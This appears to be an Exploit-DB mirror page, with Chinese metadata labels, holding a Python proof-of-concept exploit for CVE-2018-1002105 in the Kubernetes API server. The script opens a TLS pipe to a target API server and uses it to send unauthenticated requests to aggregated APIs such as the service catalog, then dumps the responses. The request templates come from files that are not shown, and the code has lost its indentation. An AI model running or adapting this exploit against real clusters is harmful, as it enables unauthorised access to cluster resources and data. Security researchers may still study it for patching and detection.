Kubernetes – (Unauthenticated) Arbitrary Requests

  • 作者: evict
    日期: 2018-12-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46052/
  • #!/usr/bin/env python3
    import argparse
    from ssl import wrap_socket
    from json import loads, dumps
    from socket import create_connection
    
    
    def request_stage_1(base, version, target):
    
    stage_1 = ""
    
    with open('ustage_1', 'r') as stage_1_fd:
    stage_1 = stage_1_fd.read()
    
    return stage_1.format(base, version, target
    ).encode('utf-8')
    
    
    def request_stage_2(base, version, target_api, target):
    
    stage_2 = ""
    
    with open('ustage_2', 'r') as stage_2_fd:
    stage_2 = stage_2_fd.read()
    
    return stage_2.format(base, version, target_api, target,
    ).encode('utf-8')
    
    
    def read_data(ssock):
    
    data = []
    data_incoming = True
    
    while data_incoming:
    data_in = ssock.recv(4096)
    
    if not data_in:
    data_incoming = False
    
    elif data_in.find(b'\n\r\n0\r\n\r\n') != -1:
    data_incoming = False
    
    offset_1 = data_in.find(b'{')
    offset_2 = data_in.find(b'}\n')
    
    if offset_1 != -1 and offset_2 != -1:
    data_in = data_in[offset_1-1:offset_2+1]
    
    elif offset_1 != -1:
    data_in = data_in[offset_1-1:]
    
    elif offset_2 != -1:
    data_in = data_in[:offset_2-1]
    
    data.append(data_in)
    
    return data
    
    
    def run_exploit(target, stage_1, stage_2, filename, json):
    
    host, port = target.split(':')
    
    with create_connection((host, port)) as sock:
    
    with wrap_socket(sock) as ssock:
    print('[*] Building pipe ...')
    ssock.send(stage_1)
    
    data_in = ssock.recv(15)
    
    if b'HTTP/1.1 200 OK' in data_in:
    print('[+] Pipe opened :D')
    read_data(ssock)
    
    else:
    print('[-] Not sure if this went well...')
    
    print(f"[*] Attempting to access url")
    
    ssock.send(stage_2)
    data_in = ssock.recv(15)
    
    if b'HTTP/1.1 200 OK' in data_in:
    print('[+] Pipe opened :D')
    
    data = read_data(ssock)
    
    return data
    
    
    def parse_output(data, json, filename):
    
    if json:
    j = loads(''.join(i.decode('utf-8')
    for i in data))
    
    data = dumps(j, indent=4)
    
    if filename:
    mode = 'w+'
    
    else:
    mode = 'wb+'
    
    if filename:
    print(f"[*] Writing output to {filename} ....")
    
    with open(filename, mode) as fd:
    if json:
    fd.write(data)
    
    else:
    for msg in data:
    fd.write(msg)
    
    print('[+] Done!')
    
    else:
    if json:
    print(data)
    
    else:
    print(''.join(msg.decode('unicode_escape') for msg in data))
    
    
    def main():
    
    parser = argparse.ArgumentParser(description='Unauthenticated PoC for'
     ' CVE-2018-1002105')
    required = parser.add_argument_group('required arguments')
    optional = parser.add_argument_group('optional arguments')
    
    required.add_argument('--target', '-t', dest='target', type=str,
    help='API server target:port', required=True)
    required.add_argument('--api-base', '-b', dest='base', type=str,
    help='Target API name i.e. "servicecatalog.k8s.io"',
    default="servicecatalog.k8s.io")
    required.add_argument('--api-target', '-u', dest='target_api', type=str,
    help='API to access i.e. "clusterservicebrokers"',
    default="clusterservicebrokers")
    
    optional.add_argument('--api-version', '-a', dest='version', type=str,
    help='API version to use i.e. "v1beta1"',
    default="v1beta1")
    optional.add_argument('--json', '-j', dest='json', action='store_true',
    help='Print json output', default=False)
    optional.add_argument('--filename', '-f', dest='filename', type=str,
    help='File to save output to', default=False)
    
    args = parser.parse_args()
    
    if args.target.find(':') == -1:
    print("f[-] invalid target {args.target}")
    return False
    
    stage1 = request_stage_1(args.base, args.version, args.target)
    
    stage2 = request_stage_2(args.base, args.version, args.target_api,
     args.target)
    
    output = run_exploit(args.target, stage1, stage2, args.filename, args.json)
    
    parse_output(output, args.json, args.filename)
    
    
    if __name__ == '__main__':
    main()